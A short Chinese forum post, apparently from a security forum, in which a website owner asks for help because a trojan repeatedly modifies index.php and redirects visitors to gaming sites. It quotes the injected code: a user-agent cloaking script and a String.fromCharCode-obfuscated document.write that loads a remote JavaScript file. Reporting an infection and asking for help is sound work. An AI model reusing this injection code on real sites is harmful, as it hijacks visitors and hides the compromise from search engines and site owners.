隔两天晚上index.php每个网站的这个文件都会被木马修改一次,在开头加入如下代码,调到游戏网站:<script>if(navigator.userAgent.toLocaleLowerCase().indexOf("baidu") == -1){document.title ="发的刚发的"}</script>
<script type="text/javascript"> var xt = String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,115,58,47,47,98,100,48,57,49,55,46,99,111,109,47,98,100,46,106,115,34,62,60,47,115,99,114,105,112,116,62); document.write(xt); </script>
不知道是木马在运行,还是有人隔一段时间,晚上通过我的漏洞来修改文件,目前不太清楚,用top命令也没有看到有啥异常的进程。
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!